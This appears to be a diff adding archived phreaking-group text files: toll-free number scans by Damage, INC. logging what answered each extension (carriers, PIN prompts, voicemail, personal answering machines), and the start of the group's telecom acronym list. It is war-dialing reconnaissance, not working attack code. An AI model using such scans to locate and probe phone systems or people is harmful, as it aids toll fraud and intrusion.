+520 Bell ExpressVu.
+521 Bell ExpressVu.
+522 2CK.
+523 NIS.
+524 NIS.
+525 2CK.
+526 NIS.
+527 NIS.
+528 NIS.
+529 NIS.
+530 NIS.
+531 NIS.
+532 NIS.
+533 NIS.
+534 NIS.
+535 NIS.
+536 NIS.
+537 NIS.
+538 NIS.
+539 NIS.
+540 NIS.
+541 NIS.
+542 NIS.
+543 NIS.
+544 NIS.
+545 NIS.
+546 NA.
+547 NIS.
+548 NIS.
+549 NIS.
+550 NIS.
+551 Disconnected.
+552 2CK.
+553 FAX.
+554 NIS.
+555 NIS.
+556 NIS.
+557 NIS.
+558 NIS.
+559 NIS.
+560 NIS.
+561 NIS.
+562 NIS.
+563 NIS.
+564 NIS.
+565 NIS.
+566 Disconnected.
+567 NIS.
+568 Voice. "Lou" Ask him where he works.
+569 NA.
+570 NA.
+571 Voicemail.
+572 NIS.
+573 NIS.
+574 NIS.
+575 NIS.
+576 Babies and Bells.
+577 "The service is not available at this time."
+578 Same as above.
+579 Same as above.
+580 NIS.
+581 NIS.
+582 Tones.
+583 Invalid.
+584 NIS.
+585 NIS.
+586 NIS.
+587 "Please enter your numeric message after the tone."
+588 Bell Atlantic Video Sales Department.
+589 MCI WorldCom Paging System.
+590 NIS.
+591 "I'm sorry but I'm not able to connect you just now."
+592 "I'm sorry but I'm not able to connect you just now."
+593 Fast BUSY. (2)
+594 CARRIER.
+595 NIS.
+596 2CK.
+597 Barkley Global Investors.
+598 NIS.
+599 NIS.
+600 NIS.
+601 Go Cellular.
+602 NIS.
+603 NIS.
+604 FAX.
+605 NA.
+606 Invalid.
+607 NIS.
+608 NIS.
+609 NIS.
+610 NIS.
+611 NIS.
+612 NIS.
+613 NA.
+614 NIS.
+615 Watstar Long Distance.
+616 NEB.
+617 NIS.
+618 NIS.
+619 NIS.
+620 NA.
+621 NA.
+622 NIS.
+623 NIS.
+624 Mass Markets Reserve 800 Hotline.
+625 2CK.
+626 NIS.
+627 NIS.
+628 French.
+629 Invalid.
+630 NIS.
+631 Cellular Connections. (Authorized Verizon Wireless Dealer)
+632 NA.
+633 High Tones.
+634 2CK.
+635 NIS.
+636 NIS.
+637 "Enter the PIN number you wish."
+638 2CK.
+639 NIS.
+640 NIS.
+641 NIS.
+642 NIS.
+643 Action One Cellular.
+644 NIS.
+645 "Enter the PIN number you wish."
+646 Conference Calling Center.
+647 NIS.
+648 NIS.
+649 NIS.
+650 NIS.
+651 NA.
+652 NIS.
+653 NIS.
+654 NA.
+655 Ring+Trunk Busy. (2)
+656 NIS.
+657 NA.
+658 NIS.
+659 NIS.
+660 NIS.
+661 NIS.
+662 NIS.
+663 NIS.
+664 NIS.
+665 NIS.
+666 NIS.
+667 NIS.
+668 NIS.
+669 NIS.
+670 NIS.
+671 NIS.
+672 Sprint. Promotion has expired.
+673 NIS.
+674 NIS.
+675 NIS.
+676 2CK.
+677 NIS.
+678 NIS.
+679 NIS.
+680 2CK.
+681 Disconnected.
+682 FAX.
+683 NIS.
+684 2CK.
+685 NIS.
+686 Voice.
+687 NIS.
+688 NIS.
+689 NIS.
+690 NIS.
+691 NIS.
+692 NIS.
+693 NIS.
+694 NIS.
+695 NIS.
+696 NIS.
+697 NIS.
+698 NIS.
+699 NIS.
+700 NIS.
+701 NIS.
+702 NIS.
+703 NIS.
+704 NIS.
+705 NIS.
+706 NIS.
+707 NIS.
+708 NIS.
+709 NIS.
+710 NIS.
+711 NIS.
+712 NIS.
+713 NIS.
+714 NIS.
+715 NIS.
+716 NIS.
+717 NIS.
+718 NIS.
+719 NIS.
+720 NIS.
+721 Bell and Howell VMB.
+722 NIS.
+723 NIS.
+724 NIS.
+725 Slow BUSY. (3)
+726 NIS.
+727 2CK.
+728 NIS.
+729 NIS.
+730 Deltacom. (Nextel Dealer/Representative)
+731 NA.
+732 Answering machine.
+733 Bell Canada Direct Marketing Business Center.
+734 2CK.
+735 NIS.
+736 NIS.
+737 NIS.
+738 NIS.
+739 NIS.
+740 NIS.
+741 NIS.
+742 NIS.
+743 NIS.
+744 NIS.
+745 NIS.
+746 NIS.
+747 NIS.
+748 NIS.
+749 NIS.
+750 NIS.
+751 NA.
+752 NIS.
+753 NIS.
+754 NIS.
+755 NIS.
+756 NIS.
+757 NIS.
+758 NIS.
+759 NIS.
+760 2CK.
+761 NIS.
+762 NIS.
+763 Bell Canada's Total Solution Center for Business Customers.
+764 NA.
+765 NIS.
+766 NIS.
+767 NIS.
+768 NA.
+769 NIS.
+770 CARRIER.
+771 Capital One.
+772 NIS.
+773 NIS.
+774 Voice.
+775 NA.
+776 2CK.
+777 Invalid.
+778 NIS.
+779 NIS.
+780 NIS.
+781 NIS.
+782 NIS.
+783 NIS.
+784 NIS.
+785 NIS.
+786 NIS.
+787 NIS.
+788 NIS.
+789 NIS.
+790 NIS.
+791 NIS.
+792 NIS.
+793 NIS.
+794 NIS.
+795 NIS.
+796 NIS.
+797 NIS.
+798 NIS.
+799 2CK.
+800 2CK.
+801 Bell Canada's Direct Marketing Business Centre.
+802 Universal Technologies.
+803 Siren Tones.
+804 NIS.
+805 NIS.
+806 NIS.
+807 NIS.
+808 NIS.
+809 NIS.
+810 NIS.
+811 NIS.
+812 NIS.
+813 NIS.
+814 Voicemail/Pager/FAX/Messaging.
+815 Dick Anderson's Message Center.
+816 NA.
+817 Bell Micro Products System Assistance.
+818 IBI All State's Communications.
+819 Classic Fulfillment Center.
+820 2CK.
+821 NIS.
+822 NIS.
+823 NIS.
+824 2CK.
+825 Voice.
+826 NIS.
+827 NIS.
+828 NIS.
+829 NIS.
+830 "Please enter your numeric message after the tone."
+831 NIS.
+832 NIS.
+833 NIS.
+834 NIS.
+835 NIS.
+836 Voice.
+837 NIS.
+838 Answering Machine.
+839 NIS.
+840 NIS.
+841 NIS.
+842 NIS.
+843 NIS.
+844 NIS.
+845 Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer)
+846 NIS.
+847 Reserved for future VISA use.
+848 CARRIER.
+849 NA.
+850 NIS.
+851 2CK.
+852 2CK.
+853 NIS.
+854 Bell Micro Products.
+855 NIS.
+856 NIS.
+857 Distant.
+858 NIS.
+859 NIS.
+860 Crucial Technology.
+861 Disconnected.
+862 2CK.
+863 Voice.
+864 FAX.
+865 NIS.
+866 NIS.
+867 NIS.
+868 NIS.
+869 NIS.
+870 NIS.
+871 NIS.
+872 USA Cell.
+873 Discover Communications. (Rogers AT&T Wireless)
+874 NIS.
+875 NIS.
+876 NIS.
+877 NIS.
+878 NIS.
+879 Bell Helicopter Employment Office.
+880 2CK.
+881 NIS.
+882 Voice.
+883 NIS.
+884 NIS.
+885 NIS.
+886 NIS.
+887 NIS.
+888 NIS.
+889 NIS.
+890 NIS.
+891 NIS.
+892 NIS.
+893 NIS.
+894 2CK.
+895 Voice.
+896 NIS.
+897 MCI WorldCom Cellular Message Center.
+898 NIS.
+899 2CK.
+900 NIS.
+901 NIS.
+902 NIS.
+903 NIS.
+904 NIS.
+905 NIS.
+906 NIS.
+907 NIS.
+908 NIS.
+909 Pacific Bell's Customer Service for the Message Center.
+910 Voice.
+911 NIS.
+912 NIS.
+913 NIS.
+914 NIS.
+915 NIS.
+916 NA.
+917 Invalid.
+918 NA.
+919 NA.
+920 NIS.
+921 BellSouth.
+922 High Tone.
+923 NIS.
+924 NA.
+925 2CK.
+926 NA.
+927 NIS.
+928 2CK.
+929 NIS.
+930 NIS.
+931 Bell Micro Products.
+932 2CK.
+933 NIS.
+934 NA.
+935 NIS.
+936 NIS.
+937 NIS.
+938 NA.
+939 NIS.
+940 Bell Micro Products.
+941 NA.
+942 NA.
+943 NA.
+944 FAX.
+945 NA.
+946 NIS.
+947 NA.
+948 NIS.
+949 Bell and Company.
+950 NIS.
+951 NA.
+952 NA.
+953 Don of Western Airlines.
+954 CelluWorld.
+955 BellSouth Rewards.
+956 NA.
+957 MCI WorldCom Paging System.
+958 MCI WorldCom Paging System.
+959 NIS.
+960 MCI WorldCom Paging System.
+961 MCI WorldCom Paging System.
+962 NIS.
+963 NIS.
+964 NIS.
+965 Advanced Communications.
+966 NIS.
+967 NIS.
+968 2CK.
+969 Microcell.
+970 NA.
+971 NIS.
+972 NA.
+973 NIS.
+974 NIS.
+975 NIS.
+976 NIS.
+977 2CK.
+978 NIS.
+979 NIS.
+980 NIS.
+981 NIS.
+982 NIS.
+983 Voice.
+984 NIS.
+985 Ad Gap.
+986 NIS.
+987 NIS.
+988 NIS.
+989 NIS.
+990 NIS.
+991 Univercell (cell phone rentals)
+992 NIS.
+993 FAX.
+994 NIS.
+995 Disconnected.
+996 Voice.
+997 FAX.
+998 Voice. CBC?
+999 Bell Canada's Voice Response System.
diff --git a/textfiles.com/groups/DAMAGEINC/888bell.txt b/textfiles.com/groups/DAMAGEINC/888bell.txt
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+ _______________________________________________ _________________
+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ 1-888-XXX-BELL Scan
+
+ http://surf.to/damage_inc
+ damage_inc@dope.org
+===============================================================================
+
+1-888-XXX-2355 (BELL) Scan:
+
+200 2CK.
+201 BellSouth Benefit Enrollment System.
+202 NIS.
+203 BellSouth.
+204 2CK.
+205 NIS.
+206 Bell Atlantic.
+207 Bell Atlantic.
+208 Bell Atlantic.
+209 NIS.
+210 NIS.
+211 Bell Atlantic Caller ID.
+212 NIS.
+213 Bell Atlantic Caller ID.
+214 NIS.
+215 2CK.
+216 Bell Atlantic Caller ID.
+217 Bell Atlantic Caller ID.
+218 Bell Atlantic Caller ID.
+219 Bell Atlantic.
+220 NIS.
+221 Bell Atlantic.
+222 NIS.
+223 Bell Atlantic.
+224 NIS.
+225 NIS.
+226 NIS.
+227 2CK.
+228 2CK.
+229 NIS.
+230 NIS.
+231 2CK.
+232 2CK.
+233 2CK.
+234 NIS.
+235 NIS.
+236 NIS.
+237 NIS.
+238 NIS.
+239 Improved Performance Group.
+240 2CK.
+241 NIS.
+242 Bell (Spanish)
+243 NIS.
+244 2CK.
+245 Bell Atlantic Caller ID.
+246 Voice.
+247 2CK.
+248 NIS.
+249 2CK.
+250 NIS.
+251 2CK.
+252 American Italian Pasta. (Voice)
+253 2CK.
+254 NIS.
+255 2CK.
+256 CoBell USA Incorporated.
+257 Bell Atlantic Caller ID.
+258 Bell Atlantic Caller ID.
+259 Bell Atlantic Caller ID.
+260 Message Center for some construction company.
+261 Bell Atlantic Caller ID.
+262 NIS.
+263 NIS.
+264 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+265 NIS.
+266 2CK.
+267 Bell Atlantic Caller ID.
+268 Cliff Taylor's answering machine. Bell worker?
+269 2CK.
+270 NIS.
+271 2CK.
+272 2CK.
+273 NIS.
+274 NIS.
+275 NIS.
+276 NIS.
+277 2CK.
+278 NA.
+279 NIS.
+280 TONES.
+281 NIS.
+282 NIS.
+283 NIS.
+284 NIS.
+285 2CK.
+286 NIS.
+287 KurBell Plastics.
+288 2CK.
+289 NA.
+290 NIS.
+291 NIS.
+292 NIS.
+293 NIS.
+294 NIS.
+295 NIS.
+296 NIS.
+297 NIS.
+298 NIS.
+299 NIS.
+300 Consolidated Wireless Corporation.
+301 NIS.
+302 NIS.
+303 NIS.
+304 2CK.
+305 NIS.
+306 NIS.
+307 NIS.
+308 NIS.
+309 NIS.
+310 NIS.
+311 NIS.
+312 NIS.
+313 2CK.
+314 NIS.
+315 NIS.
+316 Dave Merryl's answering machine.
+317 Charles something Enterprises, Inc.
+318 NIS.
+319 NIS.
+320 NIS.
+321 NA.
+322 2CK.
+323 2CK.
+324 2CK.
+325 NIS.
+326 NIS.
+327 BellSouth Mobility Area Code Reprogramming Department.
+328 NIS.
+329 NIS.
+330 NIS.
+331 NIS.
+332 NIS.
+333 2CK.
+334 NIS.
+335 2CK.
+336 BlueBell Consolidating.
+337 2CK.
+338 NIS.
+339 NIS.
+340 Please enter your home phone number followed by last 4 digits of SSN now.
+341 FAX.
+342 NIS.
+343 Due to technical difficulties we cannot record your message at this time.
+344 NIS.
+345 Cellular One Dispatch.
+346 Non-working toll free number.
+347 Non-working toll free number.
+348 NIS.
+349 Non-working toll free number.
+350 BUSY.
+351 BUSY.
+352 NIS.
+353 BUSY.
+354 BUSY.
+355 NIS.
+356 Non-working toll free number.
+357 2CK.
+358 Non-working toll free number.
+359 NIS.
+360 Non-working toll free number.
+361 Non-working toll free number.
+362 NIS.
+363 NIS.
+364 2CK.
+365 NIS.
+366 NIS.
+367 2CK.
+368 Non-working toll free number.
+369 NIS.
+370 NIS.
+371 NA.
+372 NIS.
+373 NIS.
+374 Invalid telephone number.
+375 BUSY.
+376 NIS.
+377 Bell Firstrate Interactive Information and Enrollment Service.
+378 Bell Canada's Ontario Direct Marketing Center.
+379 2CK.
+380 2CK.
+381 Bell something? Call back.
+382 NIS.
+383 BellSouth Cellular Fraud Prevention Center.
+384 NIS.
+385 2CK.
+386 NIS.
+387 TONES.
+388 Bell Direct in Canada. (the same as 310-BELL)
+389 NIS.
+390 NIS.
+391 Hello? (Voice)
+392 Short TONES.
+393 NIS.
+394 NA.
+395 NIS.
+396 NIS.
+397 NIS.
+398 NA.
+399 NIS.
+400 Bell Industries.
+401 NIS.
+402 NIS.
+403 NIS.
+404 NIS.
+405 NIS.
+406 NIS.
+407 NIS.
+408 NIS.
+409 NIS.
+410 NIS.
+411 NIS.
+412 NIS.
+413 NA.
+414 NIS.
+415 NIS.
+416 NIS.
+417 NIS.
+418 NIS.
+419 NIS.
+420 NIS.
+421 NIS.
+422 AcuMed International.
+423 2CK.
+424 NIS.
+425 NIS.
+426 NIS.
+427 NIS.
+428 NIS.
+429 Disconnected.
+430 NIS.
+431 NIS.
+432 NIS.
+433 NIS.
+434 NIS.
+435 NIS.
+436 Nationwide Messaging.
+437 NIS.
+438 2CK.
+439 Exxo Manufacturing Companies.
+440 NIS.
+441 NIS.
+442 NIS.
+443 2CK.
+444 Something (Maricell?) Cellular.
+445 NIS.
+446 NIS.
+447 NIS.
+448 2CK.
+449 NIS.
+450 NIS.
+451 NIS.
+452 NIS.
+453 NA.
+454 2CK.
+455 Southwestern Bell. NIS any longer.
+456 NIS.
+457 Your call cannot be completed as dialed. Recording B.
+458 NIS.
+459 NIS.
+460 NIS.
+461 NIS.
+462 2CK.
+463 NIS.
+464 BUSY.
+465 NIS.
+466 NA.
+467 NIS.
+468 Due to technical difficulties we cannot record your message at this time.
+469 2CK.
+470 NIS.
+471 BUSY.
+472 Voice.
+473 NIS.
+474 NIS.
+475 NIS.
+476 NIS.
+477 BUSY.
+478 NIS.
+479 NIS.
+480 NIS.
+481 NIS.
+482 NIS.
+483 NIS.
+484 NIS.
+485 NIS.
+486 NIS.
+487 NIS.
+488 NIS.
+489 NIS.
+490 NIS.
+491 Please leave your message after the tone.
+492 NIS.
+493 NIS.
+494 NIS.
+495 NIS.
+496 NIS.
+497 2CK.
+498 NIS.
+499 NIS.
+500 NIS.
+501 NIS.
+502 NIS.
+503 NIS.
+504 Tony Bell from Remax.
+505 Something Corporation.
+506 NIS.
+507 NIS.
+508 NIS.
+509 FAX.
+510 NIS.
+511 NIS.
+512 NIS.
+513 NIS.
+514 NIS.
+515 NIS.
+516 NIS.
+517 NIS.
+518 NIS.
+519 NIS.
+520 NIS.
+521 NIS.
+522 Cellular One.
+523 2CK.
+524 NIS.
+525 2CK.
+526 106C The 800 number you have dialed is NIS at this time.
+527 NIS.
+528 NIS.
+529 NIS.
+530 Bell Sales Company.
+531 NIS.
+532 NIS.
+533 NIS.
+534 NIS.
+535 NIS.
+536 This is Ken Bell. (Voice)
+537 NIS.
+538 NIS.
+539 Hello? (Voice)
+540 NIS.
+541 NIS.
+542 NIS.
+543 BellSouth Internet Business. 1-800-436-8638 BellSouth Internet Home. (U.S. only)
+544 NIS.
+545 NIS.
+546 2CK.
+547 NIS.
+548 NIS.
+549 1-800-829-1011 Network Management Center.
+550 BUSY.
+551 NIS.
+552 American Italian Pasta Company.
+553 NIS.
+554 NIS.
+555 NIS.
+556 2CK.
+557 NIS.
+558 800 number is not active.
+559 800 number is not active.
+560 800 number is not active.
+561 NIS.
+562 Cellular One's Job Hotline.
+563 NIS.
+564 NIS.
+565 FAX.
+566 NIS.
+567 NIS.
+568 2CK.
+569 NIS.
+570 NIS.
+571 NIS.
+572 NIS.
+573 NIS.
+574 NIS.
+575 MCI WorldCom.
+576 NIS.
+577 Someone's Voicemail.
+578 Bell Industries.
+579 NIS.
+580 NIS.
+581 I'm sorry, but the service is not available at this time.
+582 NIS.
+583 2CK.
+584 NIS.
+585 2CK.
+586 Please leave your numeric message after the tone.
+587 NIS.
+588 NIS.
+589 NIS.
+590 2CK.
+591 NIS.
+592 NIS.
+593 S&E? Something Cellular. Call back.
+594 NIS.
+595 NIS.
+596 NIS.
+597 NIS.
+598 Bell Industries.
+599 NA.
+600 NIS.
+601 NIS.
+602 Enter telephone number or a numeric message.
+603 NIS.
+604 NIS.
+605 NIS.
+606 NIS.
+607 NIS.
+608 NIS.
+609 NA.
+610 NIS.
+611 NIS.
+612 Enter the PIN number you wish.
+613 NIS.
+614 Enter the PIN number you wish.
+615 NIS.
+616 NIS.
+617 NIS.
+618 Bell Industries.
+619 NIS.
+620 NIS.
+621 NIS.
+622 2CK.
+623 Enter the PIN number you wish.
+624 MCI WorldCom.
+625 NIS.
+626 BUSY.
+627 NIS.
+628 2CK.
+629 2CK.
+630 This mailbox number is NIS.
+631 NIS.
+632 NIS.
+633 2CK.
+634 NIS.
+635 NIS.
+636 2CK.
+637 Doctor Bell's office. Voice at 4:10am?
+638 Cantel AT&T.
+639 NIS.
+640 NIS.
+641 NIS.
+642 NIS.
+643 NIS.
+644 NIS.
+645 NIS.
+646 NIS.
+647 NIS.
+648 Disconnected.
+649 NA.
+650 2CK.
+651 NIS.
+652 American Italian Pasta.
+653 NIS.
+654 NIS.
+655 Network MCI Contact.
+656 NIS.
+657 NIS.
+658 NIS.
+659 NIS.
+660 NIS.
+661 NIS.
+662 NIS.
+663 NIS.
+664 NIS.
+665 NIS.
+666 2CK.
+667 NIS.
+668 NIS.
+669 NIS.
+670 NIS.
+671 NIS.
+672 NIS.
+673 NIS.
+674 NIS.
+675 BUSY.
+676 NIS.
+677 Bell Atlantic View at One Support.
+678 NIS.
+679 NIS.
+680 NIS.
+681 Cellular One.
+682 NIS.
+683 2CK.
+684 Enter telephone number or a numeric message.
+685 BC Tel Multiple Option Messaging.
+686 NIS.
+687 2CK.
+688 Bell Industries.
+689 NIS.
+690 NIS.
+691 NIS.
+692 NIS.
+693 NIS.
+694 Corporate Communications at AirTouch Customer Service.
+695 NIS.
+696 NIS.
+697 NIS.
+698 Bell Industries.
+699 NIS.
+700 2CK.
+701 NIS.
+702 NIS.
+703 NIS.
+704 NIS.
+705 NIS.
+706 NIS.
+707 NIS.
+708 Bell Industries.
+709 NIS.
+710 NIS.
+711 NIS.
+712 NIS.
+713 NIS.
+714 NIS.
+715 Call Home America Ultimate 800.
+716 NIS.
+717 NIS.
+718 Randy's Voicemail.
+719 NIS.
+720 NIS.
+721 NIS.
+722 NIS.
+723 NIS.
+724 NIS.
+725 NIS.
+726 2CK.
+727 2CK.
+728 NIS.
+729 NIS.
+730 Bell Atlantic.
+731 Bell Atlantic Caller ID.
+732 NIS.
+733 NIS.
+734 Bell Atlantic Caller ID.
+735 NIS.
+736 NIS.
+737 2CK.
+738 2CK.
+739 NIS.
+740 NIS.
+741 Bell Atlantic.
+742 NA.
+743 Bell Atlantic.
+744 NA.
+745 Bell Atlantic.
+746 2CK.
+747 Bell Atlantic Caller ID.
+748 Bell Industries.
+749 Bell Atlantic.
+750 NIS.
+751 Bell Atlantic.
+752 American Italian Pasta Company.
+753 TONE.
+754 NIS.
+755 Pacific Bell Equipment.
+756 NA.
+757 Bell Atlantic Caller ID.
+758 NIS.
+759 American Mobile. NIS at this time. 1-800-872-6222. 1-800-405-6543.
+760 NIS.
+761 NIS.
+762 NIS.
+763 NA.
+764 NIS.
+765 Non-working toll free number.
+766 NIS.
+767 NA.
+768 NIS.
+769 NIS.
+770 NIS.
+771 NIS.
+772 BUSY.
+773 NIS.
+774 2CK.
+775 Pacific Bell Equipment.
+776 2CK.
+777 NIS.
+778 Bell Atlantic Caller ID.
+779 Bell Atlantic Caller ID.
+780 Bell Atlantic Caller ID.
+781 Bell Atlantic.
+782 Bell Atlantic.
+783 2CK.
+784 NIS.
+785 Bell Atlantic Caller ID.
+786 NIS.
+787 NA.
+788 Bell Canada Business Consulting Group.
+789 NIS.
+790 NIS.
+791 Bell Atlantic Caller ID.
+792 NIS.
+793 Bell Atlantic Caller ID.
+794 Bell Atlantic Caller ID.
+795 Bell Atlantic Caller ID.
+796 NIS.
+797 NIS.
+798 NIS.
+799 NIS.
+800 NIS.
+801 Something Cell Phones and Accessories. Call back.
+802 NIS.
+803 NIS.
+804 NIS.
+805 NIS.
+806 NIS.
+807 NIS.
+808 NIS.
+809 NIS.
+810 NIS.
+811 NIS.
+812 NIS.
+813 NIS.
+814 NIS.
+815 NIS.
+816 NIS.
+817 NIS.
+818 NIS.
+819 NIS.
+820 NIS.
+821 NIS.
+822 2CK.
+823 This program has ended.
+824 Something Tel. Call back.
+825 Connect America.
+826 NA.
+827 TarBell Realtors.
+828 BUSY.
+829 NIS.
+830 NIS.
+831 2CK.
+832 NIS.
+833 NIS.
+834 NIS.
+835 NIS.
+836 NA.
+837 NIS.
+838 NIS.
+839 NIS.
+840 2CK.
+841 NIS.
+842 Not-Active.
+843 2CK.
+844 NIS.
+845 NIS.
+846 2CK.
+847 2CK.
+848 2CK.
+849 2CK.
+850 2CK.
+851 2CK.
+852 America Italian Pasta Company.
+853 NA.
+854 NIS.
+855 NIS.
+856 NIS.
+857 NIS.
+858 NIS.
+859 NIS.
+860 NIS.
+861 NIS.
+862 NIS.
+863 NIS.
+864 NIS.
+865 NIS.
+866 NIS.
+867 NIS.
+868 NA.
+869 BUSY.
+870 BUSY.
+871 Invalid.
+872 NA.
+873 NIS.
+874 NA.
+875 NIS.
+876 NIS.
+877 Comcev Communications.
+878 NIS.
+879 Portable Communications. (home of the Phone Man)
+880 NIS.
+881 The information service you have dialed is not being conducted at this time.
+882 NIS.
+883 Massada Company.
+884 NIS.
+885 2CK.
+886 NIS.
+887 NIS.
+888 2CK.
+889 NA.
+890 NIS.
+891 NIS.
+892 NIS.
+893 NIS.
+894 NIS.
+895 NIS.
+896 NIS.
+897 Please leave your numeric message after the tone.
+898 NIS.
+899 2CK.
+900 NIS.
+901 Digital Communications.
+902 NewTech Wireless. (paging, cellular, equipment, etc.)
+903 NIS.
+904 Bell Firstrate Interactive Information and Enrollment Service.
+905 NIS.
+906 NA.
+907 NIS.
+908 NA.
+909 Bob Bell.
+910 NIS.
+911 NIS.
+912 NIS.
+913 2CK.
+914 NIS.
+915 NIS.
+916 NA.
+917 NIS.
+918 NIS.
+919 NIS.
+920 NIS.
+921 NIS.
+922 Long pause, no ring then BUSY.
+923 NIS.
+924 NIS.
+925 NIS.
+926 NIS.
+927 NIS.
+928 NIS.
+929 NIS.
+930 NIS.
+931 NIS.
+932 NIS.
+933 Bell Atlantic Caller ID.
+934 NIS.
+935 NIS.
+936 NIS.
+937 WesBell Group of Companies? 416-741-5971 or 1-888-438-0000
+938 2CK.
+939 NIS.
+940 NIS.
+941 NIS.
+942 NIS.
+943 NIS.
+944 NIS.
+945 NIS.
+946 NA.
+947 NIS.
+948 NIS.
+949 NIS.
+950 NIS.
+951 NIS.
+952 American Italian Pasta. (Voice)
+953 NIS.
+954 Bell Atlantic Caller ID.
+955 NIS.
+956 2CK.
+957 2CK.
+958 Bell Atlantic Caller ID.
+959 Bell Atlantic Caller ID.
+960 Bell Atlantic Caller ID.
+961 Bell Atlantic Caller ID.
+962 Bell Atlantic Caller ID.
+963 Bell Sales Company.
+964 Bell Atlantic Caller ID.
+965 Bell Atlantic Caller ID.
+966 Bell Atlantic Caller ID.
+967 Bell Atlantic Caller ID.
+968 Everything Wireless.
+969 Bell Atlantic.
+970 Bell Atlantic Caller ID.
+971 Bell Atlantic Caller ID.
+972 Bell Atlantic Caller ID.
+973 NIS.
+974 Bell Atlantic Caller ID.
+975 Bell Atlantic Caller ID.
+976 NIS.
+977 Bell Atlantic Caller ID.
+978 NIS.
+979 NA.
+980 Bell Atlantic Caller ID.
+981 Bell Atlantic Caller ID.
+982 Bell Atlantic Caller ID.
+983 Bell Atlantic.
+984 Bell Atlantic.
+985 Bell Atlantic.
+986 Bell Atlantic.
+987 2CK.
+988 Bell Atlantic.
+989 Bell Atlantic.
+990 Bell Atlantic.
+991 NIS.
+992 Bell Atlantic.
+993 Bell Atlantic.
+994 NIS.
+995 2CK.
+996 Bell Atlantic.
+997 Bell Atlantic.
+998 Voice.
+999 Something Wireless.
+BUSY.
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+------------ - ---- -- ----- --- - - - -- ---- - - - - -- -
+A damn cool song deserved a damn good ascii, and I think I delivered.
+Spent ages on this one (about one hour for an oldschool!) -waste/pst
+
+ Damage, INC. List of Acronyms v1.0
+ ----------------------------------
+
+3ACC 3A Central Control
+5XB COER 5 X-Bar Central Office Equipment Reports system
+A/D Analog to Digital
+AAX Automated Attendant eXchange
+ABATS Automatic Bit Access Test System
+ABHC Average Busy Hour Calls
+ABS Alternative Billing Service
+ABSBH Average Busy Season Busy Hour
+ACB Annoyance Call Bureau
+ACC Analog Control Channel
+ACC Audio Communications Controller
+ACCS Automated Calling Card Service
+ACD Automatic Call Distributor
+ACDA Automatic Call Disposition Analyzer
+ACE Automatic Calling Equipment
+ACF Advanced Communications Functions
+ACH Attempt per Circuit per Hour
+ACOF Attendant Control Of Facilities
+ACP ACtion Point
+ACSNET Acedemic Computing Services NETwork
+ACSU Advanced t-1 Channel Service Unit
+ACTS Automated Coin Toll Service
+ACU Alarm Control Unit
+ACU Automatic Calling Unit
+ADCCP Advanced Data Communications Control Procedure
+ADCI Automatic Display Call Indicator
+ADN Abbreviated Dialing Number
+ADPCM Adaptive Differential Pulse Code Modulation
+ADS Advanced Digital System
+ADS Audio Distribution System
+ADS Auxilary Data System
+AF Audio Frequency
+AFACTS Automatic FACilities Test System
+AFADS Automatic Force Adjustment Data System
+AFSK Automatic Frequency Shift Keying
+AIC Automatic Intercept Center
+AICC Automatic Intercept Communications Controller
+AIOD Automatic Identificated Outward Dialing
+AIS Automatic Intercept System
+AIX Advanced Interactive eXecutive
+ALBO Automatic Line BuildOut
+ALFE Analog Line Front End
+ALGOL ALGOrhythmic computer Language
+ALI Automatic Location Indentification
+ALIT Automatic Line Insulation Testing
+ALRU Automatic Line Record Update
+ALS Automated List Service
+AM Administrative Module
+AM Amplitude Modulation
+AM Answering Machine
+AMA Automatic Message Accounting
+AMACS AMA Collection System
+AMARC AMA Recording Center
+AMASE AMA Standard Entry
+AMAT AMA Transmitter
+AMATPS AMA TeleProcessing System
+AMERITECH AMERican Information TECHnologies
+AMI Alternate Mark Inversion
+AMPS Advanced Mobile Phone Service
+AN Associated Number
+ANA Automatic Number Announcement
+ANAC Automatic Number Announcement Circuit
+ANC All Number Calling
+ANI Automatic Number Identification
+ANIF Automatic Number Identification Failure
+ANIS Automatic Number Identification Switching/Spoofing
+ANSI American National Standards Institute
+AOS Alternate Operator Service
+AOSS Auxilliary Operator Service System
+AP Attached Processor
+APC AMARC Protocol Converter
+APD Avalanche Photo Diode
+APS Automatic Protection Switch
+AR Alarm Report
+ARC Audio Response Controller
+ARCH Access Response Channel
+ARIS Audichron Recorded Information System
+ARQ Automatic Repeat reQuest
+ARS Alternate Route Selection
+ARSB Automated Repair Service Bureau
+ARU Audio Response Unit
+ASCII American Standard Code for Information Interexchange
+ASIC Application Specific Integrated Circuit
+ASM Assembly
+ASOC Administrative Service Oversight Center
+ASPEN Automatic System for Performance Evaluation of the Network
+AT Access Tandem
+AT&T American Telephone and Telegraph
+ATB All Trunks Busy
+ATC Automatic Transmission Control
+ATH Abbreviated Trouble History
+ATI Automatic Test Inhibit
+ATIS Automatic Transmitter Identification System
+ATM Asynchronous Transfer Mode
+ATM Automatic Teller Machine
+ATMS Automated Trunk Measurement System
+ATP All Tests Pass
+ATR Alternate Trunk Routing
+ATRS Automated Trouble Reporting System
+ATTC Automatic Transmission Test and Control circuit
+ATTCOM AT&T COMmunications
+ATTIS AT&T Information System
+AUDIX AUDio Information eXchange
+AUTODIN AUTOmatic DIgital Network
+AUTOSEVCOM AUTOmatic SEcure Voice COMmunications
+AUTOVON AUTOmatic VOice Network
+AUXF AUXillary Frame
+AVC Analog Voice Channel
+AVD Alternate Voice Data
+B6ZS Bipolar with 6 Zero Subsitution
+B8ZS Bipolar with 8-Zero Substitution
+B911 Basic 911
+B Bridge
+BA Bell Atlantic
+BAMAF BELLCORE AMA Format
+BANCS Bell Administrative Network Communications System
+BAPCO Bellsouth Advertising & Publishing COmpany
+BB Blue Box
+BBS Bulletin Board System
+BCC Blocked Call Cleared
+BCCH Broadcast Channel
+BCD Binary Coded Decimal
+BCD Blocked Call Delayed
+BCS Batch Change Supplement
+BCH Blocked Calls Held
+BCR Blocked Calls Released
+BCTEL British Columbia Telco
+BDP Bi-Directional Protocol
+BDT Billing Data Transmitter
+BEF Band Elimination Filter
+BELLCORE BELL COmmunications REsearch
+BER Bit Error Rate
+BERT Bit Error Rate Test
+BETRS Basic Exchange Telecommunications Radio Service
+BHC Busy Hour Calls
+BIN Binary
+BIOS Basic Input/Output System
+BISP Business Information System Program
+BITNET Because-It's-Time NETwork
+BL/DS Busy Line/Don't Answer
+BLER Block Error Rate
